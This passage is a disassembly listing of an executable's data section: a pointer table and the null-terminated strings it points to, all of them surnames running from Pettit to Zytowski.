		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .data:0042EF28o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .data:0042EF24o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: .data:0042EF20o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .data:0042EF1Co
aZoldak		db 'Zoldak',0           ; DATA XREF: .data:0042EF18o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .data:0042EF14o
aZegans		db 'Zegans',0           ; DATA XREF: .data:0042EF10o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .data:0042EF0Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .data:0042EF08o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .data:0042EF04o
aYu		db 'Yu',0               ; DATA XREF: .data:0042EF00o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: .data:0042EEFCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .data:0042EEF8o
aYoffe		db 'Yoffe',0            ; DATA XREF: .data:0042EEF4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: .data:0042EEF0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: .data:0042EEECo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: .data:0042EEE8o
aYbarra		db 'Ybarra',0           ; DATA XREF: .data:0042EEE4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: .data:0042EEE0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .data:0042EEDCo
aYankee		db 'Yankee',0           ; DATA XREF: .data:0042EED8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .data:0042EED4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: .data:0042EED0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: .data:0042EECCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .data:0042EEC8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .data:0042EEC4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .data:0042EEC0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: .data:0042EEBCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .data:0042EEB8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .data:0042EEB4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .data:0042EEB0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: .data:0042EEACo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .data:0042EEA8o
aVitali		db 'Vitali',0           ; DATA XREF: .data:0042EEA4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: .data:0042EEA0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: .data:0042EE9Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: .data:0042EE98o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .data:0042EE94o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .data:0042EE90o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .data:0042EE8Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .data:0042EE88o
aWilder		db 'Wilder',0           ; DATA XREF: .data:0042EE84o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .data:0042EE80o
aViens		db 'Viens',0            ; DATA XREF: .data:0042EE7Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .data:0042EE78o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .data:0042EE74o
aViano		db 'Viano',0            ; DATA XREF: .data:0042EE70o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: .data:0042EE6Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .data:0042EE68o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .data:0042EE64o
		align 4
aWhite		db 'White',0            ; DATA XREF: .data:0042EE60o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .data:0042EE5Co
aWhately	db 'Whately',0          ; DATA XREF: .data:0042EE58o
aWetzel		db 'Wetzel',0           ; DATA XREF: .data:0042EE54o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .data:0042EE50o
aVerghese	db 'Verghese',0         ; DATA XREF: .data:0042EE4Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: .data:0042EE48o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .data:0042EE44o
aWelsh		db 'Welsh',0            ; DATA XREF: .data:0042EE40o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .data:0042EE3Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: .data:0042EE38o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .data:0042EE34o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .data:0042EE30o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .data:0042EE2Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: .data:0042EE28o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .data:0042EE24o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: .data:0042EE20o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: .data:0042EE1Co
aWasowska	db 'Wasowska',0         ; DATA XREF: .data:0042EE18o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .data:0042EE14o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .data:0042EE10o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .data:0042EE0Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .data:0042EE08o
aVanallen	db 'vanAllen',0         ; DATA XREF: .data:0042EE04o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: .data:0042EE00o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .data:0042EDFCo
		align 4
aWales		db 'Wales',0            ; DATA XREF: .data:0042EDF8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .data:0042EDF4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .data:0042EDF0o
aWaite		db 'Waite',0            ; DATA XREF: .data:0042EDECo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .data:0042EDE8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: .data:0042EDE4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .data:0042EDE0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .data:0042EDDCo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: .data:0042EDD8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .data:0042EDD4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .data:0042EDD0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .data:0042EDCCo
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .data:0042EDC8o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: .data:0042EDC4o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .data:0042EDC0o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: .data:0042EDBCo
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .data:0042EDB8o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: .data:0042EDB4o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .data:0042EDB0o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: .data:0042EDACo
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .data:0042EDA8o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .data:0042EDA4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .data:0042EDA0o
aTruss		db 'Truss',0            ; DATA XREF: .data:0042ED9Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: .data:0042ED98o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .data:0042ED94o
aTringali	db 'Tringali',0         ; DATA XREF: .data:0042ED90o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .data:0042ED8Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .data:0042ED88o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .data:0042ED84o
		align 4
aToye		db 'Toye',0             ; DATA XREF: .data:0042ED80o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: .data:0042ED7Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: .data:0042ED78o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: .data:0042ED74o
aTopulos	db 'Topulos',0          ; DATA XREF: .data:0042ED70o
aToomer		db 'Toomer',0           ; DATA XREF: .data:0042ED6Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .data:0042ED68o
aTolman		db 'Tolman',0           ; DATA XREF: .data:0042ED64o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .data:0042ED60o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .data:0042ED5Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .data:0042ED58o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .data:0042ED54o
aTill		db 'Till',0             ; DATA XREF: .data:0042ED50o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .data:0042ED4Co
aThroop		db 'Throop',0           ; DATA XREF: .data:0042ED48o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: .data:0042ED44o
aThisted	db 'Thisted',0          ; DATA XREF: .data:0042ED40o
aThibault	db 'Thibault',0         ; DATA XREF: .data:0042ED3Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .data:0042ED38o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .data:0042ED34o
		align 4
aThan		db 'Than',0             ; DATA XREF: .data:0042ED30o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .data:0042ED2Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: .data:0042ED28o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .data:0042ED24o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: .data:0042ED20o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .data:0042ED1Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .data:0042ED18o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .data:0042ED14o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .data:0042ED10o
aTatar		db 'Tatar',0            ; DATA XREF: .data:0042ED0Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .data:0042ED08o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: .data:0042ED04o
aTambiah	db 'Tambiah',0          ; DATA XREF: .data:0042ED00o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .data:0042ECFCo
		align 4
aTai		db 'Tai',0              ; DATA XREF: .data:0042ECF8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .data:0042ECF4o
aSwindle	db 'Swindle',0          ; DATA XREF: .data:0042ECF0o
aSweetser	db 'Sweetser',0         ; DATA XREF: .data:0042ECECo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .data:0042ECE8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: .data:0042ECE4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .data:0042ECE0o
aSumner		db 'Sumner',0           ; DATA XREF: .data:0042ECDCo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .data:0042ECD8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: .data:0042ECD4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .data:0042ECD0o
aStrauch	db 'Strauch',0          ; DATA XREF: .data:0042ECCCo
aStrange	db 'Strange',0          ; DATA XREF: .data:0042ECC8o
aStott		db 'Stott',0            ; DATA XREF: .data:0042ECC4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .data:0042ECC0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .data:0042ECBCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .data:0042ECB8o
aStockwell	db 'Stockwell',0        ; DATA XREF: .data:0042ECB4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .data:0042ECB0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .data:0042ECACo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: .data:0042ECA8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .data:0042ECA4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .data:0042ECA0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .data:0042EC9Co
aStephanian	db 'Stephanian',0       ; DATA XREF: .data:0042EC98o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: .data:0042EC94o
aStefani	db 'Stefani',0          ; DATA XREF: .data:0042EC90o
aStatlender	db 'Statlender',0       ; DATA XREF: .data:0042EC8Co
		align 4
aStates		db 'States',0           ; DATA XREF: .data:0042EC88o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .data:0042EC84o
		align 4
aStang		db 'Stang',0            ; DATA XREF: .data:0042EC80o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .data:0042EC7Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .data:0042EC78o
aStmartin	db 'StMartin',0         ; DATA XREF: .data:0042EC74o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .data:0042EC70o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .data:0042EC6Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .data:0042EC68o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .data:0042EC64o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .data:0042EC60o
aSpence		db 'Spence',0           ; DATA XREF: .data:0042EC5Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .data:0042EC58o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .data:0042EC54o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: .data:0042EC50o
aSpanier	db 'Spanier',0          ; DATA XREF: .data:0042EC4Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: .data:0042EC48o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .data:0042EC44o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .data:0042EC40o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .data:0042EC3Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .data:0042EC38o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .data:0042EC34o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: .data:0042EC30o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .data:0042EC2Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: .data:0042EC28o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .data:0042EC24o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .data:0042EC20o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: .data:0042EC1Co
aSmilow		db 'Smilow',0           ; DATA XREF: .data:0042EC18o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: .data:0042EC14o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .data:0042EC10o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: .data:0042EC0Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .data:0042EC08o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: .data:0042EC04o
		align 4
aSites		db 'Sites',0            ; DATA XREF: .data:0042EC00o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: .data:0042EBFCo
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .data:0042EBF8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .data:0042EBF4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: .data:0042EBF0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .data:0042EBECo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: .data:0042EBE8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .data:0042EBE4o
aSiesto		db 'Siesto',0           ; DATA XREF: .data:0042EBE0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .data:0042EBDCo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .data:0042EBD8o
aShia		db 'Shia',0             ; DATA XREF: .data:0042EBD4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .data:0042EBD0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .data:0042EBCCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .data:0042EBC8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .data:0042EBC4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: .data:0042EBC0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .data:0042EBBCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: .data:0042EBB8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .data:0042EBB4o
aShar		db 'Shar',0             ; DATA XREF: .data:0042EBB0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .data:0042EBACo
aShankland	db 'Shankland',0        ; DATA XREF: .data:0042EBA8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: .data:0042EBA4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: .data:0042EBA0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: .data:0042EB9Co
aSexton		db 'Sexton',0           ; DATA XREF: .data:0042EB98o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .data:0042EB94o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .data:0042EB90o
aSen		db 'Sen',0              ; DATA XREF: .data:0042EB8Co
aSelvage	db 'Selvage',0          ; DATA XREF: .data:0042EB88o
aSekler		db 'Sekler',0           ; DATA XREF: .data:0042EB84o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .data:0042EB80o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: .data:0042EB7Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: .data:0042EB78o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: .data:0042EB74o
aScovel		db 'Scovel',0           ; DATA XREF: .data:0042EB70o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .data:0042EB6Co
aSchwan		db 'Schwan',0           ; DATA XREF: .data:0042EB68o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: .data:0042EB64o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: .data:0042EB60o
aSchuman	db 'Schuman',0          ; DATA XREF: .data:0042EB5Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: .data:0042EB58o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: .data:0042EB54o
aSchilling	db 'Schilling',0        ; DATA XREF: .data:0042EB50o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .data:0042EB4Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: .data:0042EB48o
aScheiner	db 'Scheiner',0         ; DATA XREF: .data:0042EB44o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .data:0042EB40o
aScharf		db 'Scharf',0           ; DATA XREF: .data:0042EB3Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .data:0042EB38o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: .data:0042EB34o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .data:0042EB30o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .data:0042EB2Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .data:0042EB28o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .data:0042EB24o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .data:0042EB20o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .data:0042EB1Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .data:0042EB18o
aSarin		db 'Sarin',0            ; DATA XREF: .data:0042EB14o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .data:0042EB10o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .data:0042EB0Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .data:0042EB08o
aSamson		db 'Samson',0           ; DATA XREF: .data:0042EB04o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .data:0042EB00o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .data:0042EAFCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .data:0042EAF8o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .data:0042EAF4o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .data:0042EAF0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .data:0042EAECo
aRush		db 'Rush',0             ; DATA XREF: .data:0042EAE8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .data:0042EAE4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: .data:0042EAE0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .data:0042EADCo
		align 4
aRu		db 'Ru',0               ; DATA XREF: .data:0042EAD8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: .data:0042EAD4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: .data:0042EAD0o
aRonen		db 'Ronen',0            ; DATA XREF: .data:0042EACCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .data:0042EAC8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .data:0042EAC4o
aRocha		db 'Rocha',0            ; DATA XREF: .data:0042EAC0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .data:0042EABCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: .data:0042EAB8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .data:0042EAB4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: .data:0042EAB0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .data:0042EAACo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: .data:0042EAA8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .data:0042EAA4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .data:0042EAA0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .data:0042EA9Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .data:0042EA98o
aRenick		db 'Renick',0           ; DATA XREF: .data:0042EA94o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .data:0042EA90o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .data:0042EA8Co
aCunningham	db 'Cunningham',0       ; DATA XREF: .data:0042EA88o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: .data:0042EA84o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .data:0042EA80o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .data:0042EA7Co
aRapple		db 'Rapple',0           ; DATA XREF: .data:0042EA78o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .data:0042EA74o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .data:0042EA70o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .data:0042EA6Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .data:0042EA68o
aRadeke		db 'Radeke',0           ; DATA XREF: .data:0042EA64o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .data:0042EA60o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: .data:0042EA5Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .data:0042EA58o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: .data:0042EA54o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .data:0042EA50o
aPugh		db 'Pugh',0             ; DATA XREF: .data:0042EA4Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .data:0042EA48o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .data:0042EA44o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: .data:0042EA40o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .data:0042EA3Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .data:0042EA38o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: .data:0042EA34o
aPreucel	db 'Preucel',0          ; DATA XREF: .data:0042EA30o
aPresper	db 'Presper',0          ; DATA XREF: .data:0042EA2Co
aPowers		db 'Powers',0           ; DATA XREF: .data:0042EA28o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: .data:0042EA24o
aPoma		db 'Poma',0             ; DATA XREF: .data:0042EA20o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: .data:0042EA1Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: .data:0042EA18o
aPolak		db 'Polak',0            ; DATA XREF: .data:0042EA14o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: .data:0042EA10o
aPointer	db 'Pointer',0          ; DATA XREF: .data:0042EA0Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: .data:0042EA08o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .data:0042EA04o
		align 10h
aPo		db 'Po',0               ; DATA XREF: .data:0042EA00o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .data:0042E9FCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .data:0042E9F8o
aPlant		db 'Plant',0            ; DATA XREF: .data:0042E9F4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .data:0042E9F0o
aPinot		db 'Pinot',0            ; DATA XREF: .data:0042E9ECo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .data:0042E9E8o
aPfister	db 'Pfister',0          ; DATA XREF: .data:0042E9E4o
aPettit		db 'Pettit',0           ; DATA XREF: .data:0042E9E0o
		align 4
